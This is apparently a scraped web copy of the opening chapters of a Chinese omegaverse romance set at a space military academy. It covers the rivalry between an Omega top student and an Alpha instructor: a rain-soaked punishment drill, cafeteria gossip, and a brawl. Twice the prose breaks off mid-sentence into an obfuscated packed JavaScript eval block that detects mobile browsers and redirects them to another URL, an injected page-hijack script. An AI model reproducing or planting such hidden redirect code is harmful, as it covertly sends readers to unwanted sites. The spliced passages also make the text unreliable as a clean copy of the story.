《穿成寡夫Omega的亡夫遗像》 1. 惩戒 银河历1489年,QL-787号荒星。 大雨滂沱中,一众年轻Alpha咬着牙奔跑在暴雨中。 无数微型机甲飞在空中,电子眼闪烁着冰冷的微光,像是无情的机械典狱长一样,正在监管着一众“犯人”。 “快点……快点!” 新生A9团的副教官像是赶鸭子一样在队伍后面催促着,那些从联邦各个星系升学而来的天之骄子们一个个被淋得像落汤鸡。 谁也没想到人类迈入宇宙一千多年后的今天,他们作为联邦最高军事学府的新生,入学之后居然还要进行这么原始的拉练。 一众少年纷纷在心中把下这个决定的人骂了个狗血喷头。 泥泞的土地牢牢地吸着他们的军靴,让人寸步难行,雨天不可避免的压榨了他们的体力,延缓了行程。 期间已经有一个新生体力不支倒在了地上,若是再继续下去,恐怕倒下的就不止他一个人了。 好在整整一天一夜的拉练在此刻终于逼近了终点,曙光就在眼前。 当一众新生拖着沉重的身躯终于到达终点时,大雨倾盆中,有两个身影已经早早地等在了那里。 有一些疲惫到极限的新生根本顾不了那么多,当即便跌坐在地上,剩下尚存一丝余力的,则喘着气勉强看向两人中为首的那个。 基地的夜灯恰在此刻转了过来,大雨滂沱下,为首者军装整洁,正站在雨伞下冷冰冰地看着他们。 却见他白色的军服上,金色的扣子扣到了最上面一颗,银色腰带束在腰侧,浑身上下连一个泥点都未曾染上,和那群狼狈的新生形成了鲜明的对比。 一看就是典型的上位者。 被折腾了一宿的新生刚有点活过来的感觉,余光一瞟到这个画面,登时气不打一处来。 他们整整一天一夜没有合眼,连饭都没吃几口,这人居然能这么潇洒! 正当他们在雨夜中满腔怒火无处发泄时,站得离那人最近的一个新生不知道发现了什么,突然小声倒吸了一口冷气。 众人有些不明所以,但架不住好奇还是在下一缕灯光来临时定睛细看了过去,随即所有人都愣住了。 ——为首的那人竟然是一个Omega! 时至今日,Omega参军其实不是什么太罕见的事情,但大部分Omega在军校乃至军队中担任的要么是军医、机甲维修师、宇宙通讯破密等技术工种,要么就是其他文职类工作。 几乎少有真正进入太空作战系的军官预备役。 然而当所有人都处于震惊中时,一道光再次扫了过来,当他们彻底看清楚眼前人的外貌时,准军官的身份似乎也突然没那么重要了。 阴雨连绵之下,那人的容颜却如同破开乌云的皎月,像是上古神话之中惩戒苍生的神明,美得凌厉且高不可攀。 他分明和大部分Alpha差不多高,甚至比其中的高者更矮一些,可他看向他们的眼神却带着股莫名的居高临下感。 在那冰冷的目光下,所有的谩骂声骤然堵在了心头,新生们像是被人凭空捏住了脖子一样,有些惊疑不定地看向那人。 寂静在雨夜中弥漫。 突然,一阵雷鸣在此刻响起,电光蓦然间照亮了那个Omega胸前的徽章,随即所有人都看清楚了上面的那串字符——Lansh。 兰舒。 因为疲惫而麻木的大脑开始运转,众人震惊地睁大眼睛,终于意识到了这人究竟就是谁。 传闻中以Omega之身却被最高军事学府“天枢”破格录取,入校以来连任三届首席,本次训练的唯一最高指挥——兰舒。 空气中突然间鸦雀无声,连方才那些剧烈的喘息声,此刻都不约而同的小了下来。 兰舒冷冷地看着这群在他眼中堪称虚弱的Alpha,旁边的副手替他打着伞,大气也不敢喘一下。 眼见着首席的心情似乎差到了极点,奈何主教官不在,副教官便只能硬着头皮上前,抬手行了一礼:“A9预备团副教官白鑫——向首席问好!” 兰舒见只有他一人来回话,冷声道:“你们总教官是谁?” 此话一出,白鑫却好似被掐住了脖子一般,一下子沉默了下来。 其他的新生根本不知道其中的龃龉,见白鑫哑巴一般不由得一愣,纷纷疑惑地看向他。 可沉默反倒让知情者心照不宣,兰舒见状眯了眯眼,似乎明白了什么,直接跳过了这个话题:“他人呢?” 白鑫硬着头皮道:“有一个学弟半路受伤,他背那学弟去医务舱了……” 他口不择言之下,甚至忘了自己的教官身份。 兰舒听到一半便直接打断道:“知道了。” 他似乎失去了对那人的兴趣,转而抬眸看向远处的一帮新生:“一共迟到了五分钟十八秒,看在初犯的份上,给你们抹个零——每人五十个俯卧撑,教官也一样,现在开始。” 对于平常的Alpha来说,五十个俯卧撑在平常可能咬咬牙也就过去了,可眼下他们命都快丢了半条,居然还要紧跟着接受这种惩罚,所有人都惊呆了。 “——现在!?” 有人不可思议地喊了出来。 “没错,现在。”兰舒顶着一众学员怒火中烧的视线淡淡道,“你们迟到了,这是规矩。” ——去你大爷的规矩! 那点Alpha对漂亮Omega下意识产生的好感瞬间荡然无存,一众新生惊怒交加,瞪圆了眼睛看着兰舒。 可他们除了怒目而视又不敢当真做什么,于是气氛再次僵持了下去。 不过这份僵持并未持续太久,作为副教官,白鑫在短暂的凝滞后深吸了一口气,随即率先在雨中摘了帽子,看起来是打算身先士卒。 其他新生见他妥协得这么快,连争辩都不争辩一下,气得一口气差点没上来。 然而事已至此,他们心知肚明他们恐怕是躲不过这一罚了。 不少人心里骂骂咧咧,面上却逐渐选择了屈从。 然而当他们在雨水的冲刷下从地上爬起来,揉着发酸的手腕准备开始时,一阵踏着雨水的急促脚步声和一道声音同时在他们耳边响起:“行程延误是因为有同学体力不支倒下,并非其他人的过错。” 那声音对于现在的新生们来说简直如天神降临,几乎是话音刚落,上百道如炬般的目光齐齐看向来者,眼神中俱是看向救世主一般的惊喜。 只见来者是一个身着黑色军装,年轻却极度英俊的男性Alpha,从外貌上看一眼便能看出他的东方血统,可他的五官却英俊得有些深邃,和一般的东方人又有些许不同。 同样是没有雨伞被雨水倾头浇下,可在一众落汤鸡般的新生之间,唯独这人的气质显得有些格格不入。 他不像是军人,反而更像是来拍星际大片的,好看得有些过了头。 顶着无数人或期待或惊喜的目光,Alpha大步流星走过人群,在兰舒面前站定,抬手敬了一个无比标准的军礼,直勾勾地看着对方道:“A9预备团总教官龙乾——向首席问好。” 然而这人嘴上说着问好,可那话里的语气着实不像是问好,反而像要把兰舒吃了一样,尽是不加掩饰的恶意和极强的侵略性。 双方的副手见状眼前均是一黑,纷纷露出“果然要完蛋”的表情,随即一个余光看天一个余光看地。 就连迟钝的新生们在这一刻也终于后知后觉地意识到了气氛有些不对。 ——这什么情况? 看着如此针锋相对的局面,众人的心脏一下子提到了嗓子眼,连身体上的疲惫都消失了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119861|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分。 身为在Alpha中也算得上卓越的存在,龙乾比兰舒要高整整半头。 可分明是仰视的角度,兰舒却丝毫不显下风:“我不管是谁倒下,也不想听这些借口。战场之上,你的敌人难道会因为这些借口,而放弃他们早已准备好的伏击计划吗?” “报告首席——不会。”龙乾嘴上喊着敬称,语气却硬得硌牙,“但我是他们的教官,这一切都是我的失职,与他们无关。” “所有的惩罚,我一人承担。” 兰舒闻言看了他三秒,随即露出了些许冰冷且刻薄的笑意:“是吗?好大的口气。” 龙乾不为所动,只是看着他的眼睛道:“首席谬赞了。” 兰舒收了笑意,两人无形的目光似乎在空气中猛烈地碰撞,所有人都跟着提心吊胆,屏息凝神得一句话不敢多说。 最终,兰舒骤然冷下神色道:“八小时极限生态模拟加一百个俯卧撑,生态模拟回校补上,剩下的现在开始。” ——八小时生态模拟!?会死人的! 白鑫惊愕之际连忙扭头看向当事人。 却见那金玉其外实则倔得跟头驴一样的龙乾,闻言一言不发地脱了军帽,而后一颗一颗地解起了军装的扣子。 ——他居然就这么认了! 白鑫眼前一黑,一口气差点没上来。 然而新生们根本不清楚八个小时极限生态模拟意味着什么,只觉得一百个俯卧撑对于龙乾这样的Alpha来说好像不算什么,见状不由得替他松了口气。 龙乾顶着兰舒冰冷的目光解开扣子,又反手脱下了被雨水浸透的外衣,Alpha精装的肌肉在黑色的紧身作训服下一览无余。 龙乾扭了扭手腕,站得离他最近的一个新生偶然间瞟见了他手腕内侧的一处疤痕般的印记,那不像是胎记,反而像是……因为什么原因被裁掉后新长出的皮肤。 那新生被自己莫名其妙的想法吓了一跳,打了个激灵后连忙抬头,只见他们教官活动好了手腕,冷着脸深深地看了兰舒一眼后,屈膝干脆利落地撑在了地上。 没有任何多余的沟通,龙乾就那么顶着倾盆的大雨,鼓起肌肉猛然发力,迅速开始了动作。 兰舒一言不发地站在一边冷眼旁观。 一百个俯卧撑对于龙乾这种级别的Alpha来说果然不在话下,不到两分钟的时间,他的进度便逼近了一半。 五十个俯卧撑做下来,龙乾连呼吸都没颤一下,肌肉的发力频率和机器一样标准且均匀。 兰舒就那么在旁边看完了前五十个,直到第五十一个俯卧撑即将下去时,他突然抬脚走到龙乾身边。 他的副官一时间没反应过来,连忙要上前给他撑伞,却被兰舒抬手制止了。 大雨终于浇在了这个衣冠楚楚的Omega身上,但他并不在意。 他垂下眸子看着撑在地上的Alpha,而后蓦然抬起脚,一脚踩在龙乾肌肉绷紧的后腰上。 “——!” 全场的气氛突然间凝滞了。 那一刻,龙乾感觉仿佛有千钧骤然压在了他的腰上。 大雨滂沱而下,雨水顺着Omega的军靴淌下,最终从足尖处流到了Alpha结实怒张的肌肉上。 龙乾双臂的肌肉发力到了极致,隔着布料都能让人隐隐感到心惊。 他撑着泥泞的雨地,冷着脸侧头看向踩着自己的Omega,眼底是不加丝毫掩饰的,以下犯上的戾气。 然而,他看见那人低着头,任由雨滴在那张惊世绝伦的脸上划过,对自己所表现出来的一切怒意无动于衷。 兰舒就那么居高临下地踩着脚下人的后腰,缓缓施加力度,直到Alpha被迫咬着牙再次沉去身体,他才淡淡命令道: “继续。” 2. 寡夫 雨依旧没有停。 Alpha逐渐加重的呼吸声混杂着雨声在黑夜中弥漫。 龙乾的肌肉已经发力到了极致,兰舒只觉得自己军靴之下踩着的仿佛是一块起伏的炙热石板,因愤怒而生的滚烫隐约中似乎穿过靴底,直接烫在了他的心头。 可他依旧没有抬脚。 无数双眼睛的注视下,所谓的“惩罚”在漫长的雨夜中,不知不觉透出了一股说不清道不明的意味。 沉浸在煎熬中的龙乾只感觉胸口一团邪火烧得他头皮发麻,他将那火错认为是愤怒和恨意,在巨大的压迫感下,他恨到几乎想将兰舒敲骨吸髓,吞吃入腹。 然而直到很久之后他才意识到,那并不是恨,或者说,那并不只是恨。 这场无声的角力一直持续到黎明划破天幕,才算勉强落下帷幕。 食堂外阴雨连绵,食堂内,刚刚通宵拉练过的新生一身泥水,不过他们也因此获得了率先自由吃饭的特权,引得一众还在排队的同学投来幽怨而羡慕的目光。 可这帮泥人却顾不上周围人艳羡的目光,打完饭后,他们纷纷凑在一起义愤填膺地骂着什么:“……艹!” “那Omega是不是雨淋多了脑子进水了!” “我看他长得好看一开始还……谁知道下手黑成这样!就迟到了五分钟至于把人当狗训吗?!” A12团的女生站在旁边听了半晌,实在忍不住好奇,端着饭走过来坐下好奇道:“你们团怎么了?听说龙教官因为你们被罚了?好像还罚的特别惨。” 一个男生闻言气不打一处来:“别提了,晦气死了!” “都怪那个——”另外一个最义愤填膺的男生似乎是想直呼兰舒的名讳,然而军校虽然不是真正的军队,但服从还是最大的铁律,他最终把到了嘴边的话咽了下去,改口道,“都怪那个Omega首席!” 他没有提到名字,女生闻言却露出了了然的神色。 “兰首席啊……那怪不得了。”她似乎知道一些内幕,“没办法,谁让你们团倒霉呢。” 男生闻言一愣:“什么叫我们团倒霉?” 女生见他们一脸莫名奇妙,不由得奇怪道:“你们不知道?首席和你们龙教官不和,整个军校都人尽皆知……你们都不上星网的吗?” 众人闻言更是一愣,大眼瞪小眼半晌后不约而同地看向那女生:“真的假的,你在哪听说的?” “当然保真了,校论坛上的学长学姐们都这么说。”女生回忆了一下后压低声音道,“据说上个月中旬的时候……你们教官还因为一点小事和首席在图书馆吵了一架,两人险些大打出手不说,首席还被扣了十点信用分,如此无妄之灾,首席说不定正耿耿于怀呢。” 那帮新生显然完全不知道还有这事,愣了一下后刚想说什么,却听他们同团的一个男生嗤笑一声接话道:“什么耿耿于怀,要我说,这分明是怀恨在心和蓄意报复。” 那男生说完,又紧跟着话锋一转道:“不过寡夫嘛,都这样。死了Alpha自然信息素紊乱,咱们团撞枪口上确实只能自认倒霉了。” 这更是一个惊天巨瓜,连一开始说话的女生也愣住了:“……寡夫?谁是寡夫?” 那男生闻言一顿,见周围的人均愕然地看着他,不由得眼睛一转,小声炫耀起了自己的小道消息:“还能是谁?据说我们的首席大人可是死了男人才破例进的军校。不然他一个Omega……谁知道怎么进来的。” 后半句话中带着丝毫不加掩饰的恶意与下流,同为Alpha的女生听了这话忍不住蹙了蹙眉,坐得最近的另一个男生闻言却有些走神,心下突然泛起了一股说不出的滋味。 他在雨夜中站得离那两人最近,亲眼看见那位Omega首席的军靴隔着湿透了的布料,踩在他们教官充血偾张的肌肉上。 那一刻,他脚下踩着的仿佛不是一个足以跟他势均力敌的Alpha,而是一只微不足道的蝼蚁。 可……原来那样冷淡高傲的Omega居然也不能免俗吗?他也曾有过Alpha,并非从始至终都那么高高在上。 那他曾经在他的丈夫面前……又会是怎么样的呢?也和面对他们时一样高高在上吗? 不按军衔,只从入学的年份上算,兰舒也不过是大他们这些新生几届的学长罢了。 ……他分明还这么年轻,居然就早早的死了男人,那他被他的Alpha标记的时候,岂不是还不满二十岁? 男生喉结微动,莫名的怔然之下,竟下意识把心里话问了出来:“那他不会刚成年就——” 可话尚未说完,一只手突然伸出来敲了敲桌子。 空气蓦然凝滞了下来。 众人猛地抬眸,看到龙乾那张俊脸后,一时间吓得心脏当场提到了嗓子眼。 龙乾见他们一副做贼心虚的样子,不由得眯了眯眼道:“谁刚成年?” 隔壁团的女生看见他当即跟做贼一样,喊了句龙教官好,起身端着餐盘便跑了,跑得比兔子还要快。 “龙……龙教官!”剩下那帮男生逃无可逃,只能挤在一起干巴巴地找借口道,“我、我们在说小鹿呢,他这个样子居然才刚刚成年,实在看不出来,哈哈哈。” 被叫做小鹿的实际上是个个子直逼龙乾的壮汉,龙乾闻言狐疑地看向他:“……你刚成年?” 被迫背黑锅的“小鹿”沉默了三秒,最终在身旁人灼灼的目光下点头认了下来。 众人见状连忙献殷勤一般侧身给龙乾让座。 龙乾扫了他们一眼后,倒也没再多问,端着饭便坐了下去。 见他似乎并未听到方才的对话,众人不由得松了口气,其中一个男生试探着关心道:“龙教官,你的腰……没事吧?” 简直是哪壶不开提哪壶。 眼下龙乾从后腰到脊椎仿佛裂开了一样,难以言喻的疼痛顺着骨缝往里钻,他来的路上已经在心里已经把兰舒的祖宗十八代骂了个透了,但面上还要拿出学长和教官的威严,故作镇定道:“区区一百个俯卧撑而已,你以为我是跟你们一样的弱鸡吗?” 虽然见他好像没什么大事,但联想到凌晨时的画面,众人还是忍忍不住愧疚:“都怪我们动作慢……” 龙乾当即打断道:“跟你们没关系。” 他虽这么说,新生们却不可能真的不愧疚,忍不住又关切道:“除了俯卧撑,首席不是说还有八小时生态模拟……那玩意不会很累吧?” 那岂止是很累,兰舒那畜生简直是要把他往死里整。 龙乾面无表情道:“不会。” 或许是他回答得太顺畅了,先前调侃兰舒是寡夫的男生大着胆子替他不平道:“我们只是迟到了五分钟而已,他凭什么就这样罚你!就算你们之间有恩怨,他公报私仇得也太明显了!” 龙乾动作一顿,没想到这些小崽子才来几天居然也知道了这事,当即挑了挑眉:“恩怨?你们打哪听说的?” 众人闻言却纷纷充当起了哑巴,没一个人愿意接这话。 龙乾见状轻笑一声,没生气也没回答,而是继续低头吃起了饭。 但先前搭话的男生胆子似乎比所有人都要大,见龙乾没否认,他不由得转了一下眼睛,片刻后竟继续试探道:“……龙哥,你到底是怎么惹到那位首席的,让他恨你恨成这样?” 龙乾随口道:“还能怎么样?他一个Omega自视清高却打不过我,记恨我不是理所当然的。” 这人语气中的大Alpha主义溢于言表,似乎连掩饰都懒得掩饰。 不过这话颇有些春秋笔法的意味,毕竟兰舒确实没办法完全压制他,但龙乾也做不到次次都赢下对方。 可外人并不知道内情,那男生听他这么说,连忙吹捧道:“原来是这样,不过要我说,他一个Omega本来就该在家待着,能进军校已经是破例了,打不过你还敢这么狂,龙哥你脾气也是真够好的,他都要骑你头上了,你居然还能忍下来。” 龙乾面上装得再怎么成熟,归根结底也只是个刚刚二十的Alpha,正是年轻气盛的时候,听了这话,不由得嗤笑一声吹嘘起来:“这是在新生营,懂不懂什么叫官大一级压死人?要不是因为你们这帮小崽子,看我回去不收拾他。” 话音未落,龙乾却突然感觉背后一阵凉风吹过,他呼吸一滞连忙扭头,却见身后空无一人。 可他在兰舒那里倒霉惯了,这种事情宁可信其有不可信其无,虽然没看见兰舒本人,但他还是立刻止住话头,没再吹嘘下去。 然而他方才说的那番狂话放在ao之间着实有些歧义,“收拾”二字更是透着一股说不出的狎昵,众人闻言皆是一惊,下意识对视了一眼。 先前跟龙乾称兄道弟的Alpha男生听到这番话,却自以为明白了他的意思,当即露出笑容恭维道:“区区一个Omega,对于我们龙哥来说自然不在话下!” 龙乾没接话茬,只是低头吃饭。 其他人见他似乎不愿再继续这个话题,便纷纷拿起了餐具也准备吃饭,可搭话的男生似乎并不想就此罢休,见龙乾不搭理他,他眼睛一转,半晌忍不住凑上前压低声音道:“说起来,龙哥,我还听说了一件事……” 他语气神神秘秘的,龙乾的反应却有些冷淡:“什么事?” “我听说——”那人带着某种下流的恶意低声道,“那位首席大人其实是个寡夫,走了他亡夫的关系才破格进的我们学校。” 龙乾吃饭的动作蓦然一顿,扭头看了他一眼。 他不笑的时候,身上那股年少轻狂且不拘一格的劲淡了几分,露出了些许凝重的压迫感:“你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119862|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪听说的?” 那男生闻言一顿,打哈哈道:“也没人跟我说……就论坛里那些真真假假的匿名贴中看来的。” 龙乾没有回答这事到底是真的还是假的,收回目光看似随口道:“你问这个做什么?” 男生见他没有当场发飙,便挤眉弄眼地笑道:“还能干什么?要这事是真的,那位首席一直找你麻烦的原因不就有解释了嘛。” 龙乾扒了口饭,似是敷衍道:“什么解释?” 那男生一顿,随即露出了一个堪称猥琐的笑容:“我听说他们这种尝过Alpha滋味却又早早守寡的Omega私底下都饥渴得不得了,他那这么针对你,说不定——” 龙乾终于彻底放下筷子,抬眸看向了他。 那男生故弄玄虚地压低声音,在龙乾耳边笑道:“龙哥,说不定那位首席大人其实是想……被你操了呢。” 他自以为说了一个好笑又不至于冒犯到在场任何人的笑话,还能恰到好处地恭维龙乾。 毕竟哪个Alpha不想看着自己的Omega死对头在床上对自己摇尾乞怜俯首称臣呢? 可此话一出,没有人笑。 这一处角落像是被按下了暂停键一样,餐桌上的其他人纷纷放下餐具惊疑不定地看向他。 似乎所有人都被他的发言惊呆了。 那Alpha男生见状一愣,后知后觉地意识到了情况似乎不对。 他刚想说什么,龙乾却在一片寂静中笑了一下。 男生见他笑还以为他真的被恭维到了,不由得松了口气,再次挂上笑容。 然而他一口气还没松到底,龙乾突然毫无征兆地抬起手,扣住了他的后脑。 下一刻,龙乾手腕猛地发力,竟直接将人按在了餐盘中! “砰——!” 巨大的余声在整个食堂回荡。 刚排好队进来的其他新生闻声被吓了一跳,连他们的教官都向这边投来了探寻的目光。 万众瞩目的角落此刻却一片死寂。 方才还嘻嘻哈哈跟新生打成一片的龙乾按着那Alpha的后脑冷冷道:“战场上不需要你这种大脑接裤.裆的蠢货。” “以后再让我听到一次这种话,你就给我卷铺盖滚蛋。” 全场鸦雀无声。 A9团的几个新生忍不住咽了咽口水,分明是最血气方刚的年纪,此刻却像是一群被吓到的小鸡崽。 二楼走廊尽头的拐角处,一个完美的视觉死角,下面没有任何人注意到那里。 兰舒不知道在那处地方站了多久,半晌,他意味不明地转过身,抬脚离开了那里。 * 是夜,整整两天没有合眼的龙乾终于回到了教官的临时宿舍。 他浑身上下疼得咬牙切齿,关上宿舍门的一刹那,终于是维持不住体面,面色一下子扭曲起来。 龙乾一边在心中把中午那个傻逼崽子骂了个狗血喷头,一边呲牙咧嘴地关上了屋门。 然而那傻逼虽然大脑接裤.裆,但有一句话说对了。 Omega这种生物就该在家里被人供着,进了军营简直就是他们Alpha的耻辱。 龙乾面色阴沉地脱了衣服,正当他打算去洗澡时,一抬头,动作却蓦然一顿,连带着心底的骂声也凝滞了。 却见落地镜中,Alpha精壮的腰侧上赫然印着一个鲜红的印子,那位置恰到好处,比起血腥而暴力的联想,反而像是什么人故意留下的标记,透着股说不清道不明的暧昧。 ——那是兰舒踩上去的脚印。 * 荒星之上没有明月,因此不开灯的房间黑得伸手不见五指。 浑身发烫的Omega似乎早就习惯了这种氛围,他回屋的第一件事不是开灯,而是略显急躁地解开扣子,随即寻求安慰般下意识看向床头。 看到黑暗中空空如也的墙壁时,他才后知后觉的想起来,那张照片被他放在了学校,并没有带来。 兰舒蹙了蹙眉,深吸了一口气,在心底默默怪罪自己的疏忽。 而后他轻轻转过身,解开了最后一枚扣子,一件一件地脱下了被雨淋湿的军装。 他清楚地感觉到,自己后颈处的腺体正在微微发烫,浑身上下的每一个细节都在散发着一个信息——他的发情期要到了。 可照片不在身边,哪怕是有抑制贴和抑制剂在手头,他心头依旧不踏实。 ……自己得尽快回去。 白色的军装散落一地,紧跟着叠上了黑色的内衬。 黑暗之中,Omega劲瘦的腰肢雪白得像雪,他就那么赤着双脚向浴室走去。 没有月亮的夜晚分不清楚时间是否在流逝。 如水的夜色中,兰舒背对着那张空白的墙壁,对即将发生的事一无所知。 3. 入梦 绵绵不绝的大雨刚好停在了军训结束的那一天。 新生们一个个累得够呛,却没有任何休息的余地,只能马不停蹄地抓紧时间正式入学。 目前人类联邦一共有四座恒星级别的军事学府,其中最著名的便是这座“华夏天枢军事学院”。 校名取古地球时期,北斗七星中“天枢”贪狼星主杀伐之意,同时也包含着“凌空浩瀚,九天枢纽”的寓意。 整座军校本质上是一座位于半人马γ星系的环形空间站,内设重力系统、天气模拟系统、生态模拟舱、星图训练舱等多种设施,相当于一个巨型的军事要塞。 不过虽说是军事学校,但这里毕竟不是真正的军队,新生入学之后,军训中那种严苛的上下级关系不复存在,转而恢复到了学长学姐和后辈的关系。 然而和龙乾那边快速从教官身份中转变,立刻就跟自己直系学弟学妹打成一片的情况不同,兰舒再一次以让人闻风丧胆的声誉和冷傲疏离的性格,落得了孤家寡人的下场。 不过他显然早已习惯了。 光洁明亮到好似没有尽头的机甲训练室内,兰舒干脆地展示完最后一个操作,机甲的内置光脑上出现了“完成助教课时”的字样,他压根没管那些学生到底听懂了没有,转身利落地下了机甲。 正当他拿起杯子准备离开时,却发现剩下的学生不知为何都噤若寒蝉地杵在那里,空气中弥漫着让人紧张的安静。 兰舒脚步一顿,若有所感地抬起眸子,只见雪白的穹顶下,年轻的Alpha被一群新生簇拥着站在楼梯上,如新上任的狼王一样居高临下地看着自己。 见兰舒终于看了过来,龙乾扯出了一个朝气蓬勃却又不掩丝毫恶意的笑容:“哟,首席。” 兰舒看了他三秒:“有事?” 龙乾没有正面回答,而是挑了挑眉道:“我一直很想知道,首席大人天天拿的杯子里……装的都是些什么?不会是违禁品吧?” 面对如此低劣的挑衅,兰舒连眼皮都没抬一下:“跟你有关系吗?” 两人先前的恩怨尚没有解决,眼下又有了新仇,以至于兰舒话音刚落,众人只感觉空气都升了不止一度。 龙乾蓦然冷下脸色,居高临下地看了兰舒片刻后,抬脚向楼下走来。 兰舒丝毫没有躲的意思,就那么站在原地,直到那人在他面前不足一掌的距离站定,他依旧没有动,任由对方垂眸阴戾地看着他。 那其实是个近得有些危险的距离,再加上龙乾高了他几乎半头,扑面而来的Alpha信息素让兰舒几不可见地眯了眯眼。 ……龙乾此人的信息素很特别,主调闻上去是海盐气泡水的味道,后调则带一点柠檬的酸味。 但他信息素中的气泡水味和柠檬味都不是很明显,所以很多人都以为他的信息素就是大海的味道。 那味道闻起来年轻,清爽,朝气蓬勃中还带着些许张扬,在一众不讨Omega喜欢的烟酒型Alpha信息素中显得十分特立独行。 只可惜这人的性格和讨Omega喜欢完全不沾边,白瞎了这么优越的信息素。 龙乾似是看出了兰舒的不自在,于是轻笑一声,凑到他耳边阴森道:“老子腰疼了三天,刚从模拟舱里下来……你在新生营可真是好不威风啊——学长。” 最后那声学长几乎是贴在兰舒耳边喊的,除了两人外没有第三人听到。 兰舒不为所动地看了他三秒,随即竟扯了扯嘴角道:“腰疼说不定是肾虚,既然肾虚就滚回家去补,学长这里没奶给你吃,不用哭着来讨。” 他丝毫没有压低声音的意思,此话一出,全场鸦雀无声。 跟着龙乾来的那帮新生闻言都惊呆了,一个个差点惊掉下巴。 ——这是Omega该跟Alpha说的话吗? 然而龙乾却根本不觉得这话有什么好心猿意马的,反而一下子冷下了神色,抬手揪着兰舒的领子就要往墙上掼。 那帮新生见状一下子把心脏提到了嗓子眼,生怕龙乾把兰舒打出个好歹来,他们这帮跟着来撑场子的也得一块挨处分。 Omega打不过Alpha似乎是板上钉钉的事,所有新生在这一刻都没有想过另一种可能。 可结果却完全出乎他们的意料。 起初兰舒并未出手,而是任由龙乾攥着衣领把他猛地抵在墙上,后背撞上墙面发出一声闷响,旁观者听了都替他发疼。 Alpha相较于Omega的体力和身高优势在这一刻彰显得淋漓尽致,随着龙乾手上力量的加剧,兰舒被迫扬起了脸,甚至连脚尖都被带得险些离地。 他如此狼狈的模样很好地取悦到了龙乾,以至于这人非但没有在第一时间下手,反而一边欣赏着眼前的景色一边带着冰冷的怒火回敬道:“看看你弱不禁风的样子,该赶紧回家找个Alpha嫁了的人其实是你吧……学长?” 兰舒不答,而是喘着气抬手,握住了对方攥在自己衣领上的手腕。 他的动作并不夸张,配上那只白皙如玉般的右手,很难让人联想到鲜血和暴力。 故而从外人的角度看去,他就像是一个被逼到走投无路的Omega,正乞求且无力地抓着Alpha的手腕,企图寻求一丝宽容。 然而只有龙乾知道,兰舒搭上来的一瞬间,自己的手腕就好似压了千斤一样,骨头更是痛得仿佛要裂开一般——和那个雨夜一模一样。 龙乾猛地抽了一下手腕竟没能把它从兰舒手里抽出来,眼看着他的脸色彻底黑了下去,兰舒靠在墙上,喘着气轻声道:“龙乾……我其实一直有句话很想对你说。” 他鲜少直呼龙乾的姓名,以至于此话一出,龙乾不由得一愣,虽然直觉他嘴里没好话,却还是不由得道:“……什么?” 近在咫尺的Omega不言,只是拽着他的手腕,就那么直勾勾地看着他的眼睛,三秒过后才勾了勾嘴角,带着不加掩饰的讥讽:“你太蠢了,蠢得像个只知道呲牙,却藏不住尾巴的小狗。” 龙乾一愣,回神后当场气得怒火中烧,抬起拳头就要往兰舒那张漂亮到欠揍的脸上砸。 Alpha在体力上确实天生优越,生理的极限更是难以逾越。 可战斗经验并非与生俱来。 兰舒躲都懒得躲,拽着龙乾的手腕猛地往下一拉,借着手上的支撑,双脚竟直接离地,以一个Alpha绝对不可能做到的角度夹住对方的腰,随即腰部猛然发力——“砰!” 一声巨响过后,在所有人目瞪口呆的注视下,龙乾直接被兰舒夹着腰砸在了地上。 后背的旧伤尚未愈合,就这么猝不及防地砸在地上,龙乾几乎是瞬间便痛得说不出话来,面色都出现了些许扭曲。 兰舒把人摔懵之后一刻都没有停顿,双膝跪地直接坐在龙乾身上,掐着他的脖子一拳便砸了下去,丝毫没有因为那张脸的英俊而手软分毫。 拳头砸在□□上的闷响听得周围所有人都倒吸了一口凉气,原本打算上前去拉架的看到这一拳后差点吓死,生怕自己再多事被兰舒拽着一块揍,纷纷止住了脚步。 正常人挨了这一拳恐怕已经被揍懵了,然而龙乾并非常人,他愣是在缺氧和剧痛的双重影响下,凭借着肌肉记忆抬手,硬生生接下了兰舒的第二拳,而后毫不犹豫地侧肘,全靠蛮劲顶在了兰舒的小腹上。 Omega和Alpha的体质天然不同,再怎么锻炼,Omega的腹肌强度也很难超过Alpha,起到的保护作用自然也低很多。 兰舒面色微微凝滞,神情虽然没有什么改变,但身体对于疼痛的即时反应不是他想忍就能忍下的。 龙乾完全做好了砸在钢板上的准备,可手肘处传来的触感却像是撞到了一块软玉,他愣一下后来不及细想,顶着后背火辣辣的剧痛,趁着兰舒吃痛,一下子便把对方从自己身上掀了下去。 他似乎很害怕兰舒故技重施,将Omega制服在地上后,他立刻便用双腿牢牢地禁锢住了对方的下半身,掐着对方的双手一把按在了他的头顶。 这个姿势下,兰舒被迫扬起脸,眼底还带着些许正处于疼痛中的迷茫,像极了任人宰割的羔羊。 胜负在这一刻似乎已经分了出来,看着兰舒这副样子,龙乾只感觉心头冒火,后背的疼痛在这一刻似乎都不值一提起来。 他看了那人三秒,带着冰冷的怒火低下头,语气阴沉地翻起了旧账:“从我入学开始你就故意处处针对我,兰舒,你是不是觉得我脾气很好?” 他似乎恨兰舒恨到了骨子里,整个人被仇恨蒙蔽了双眼,以至于说话时都快贴到对方脸上了,也完全没意识到哪里不对,更没意识到自己已经彻底越了界。 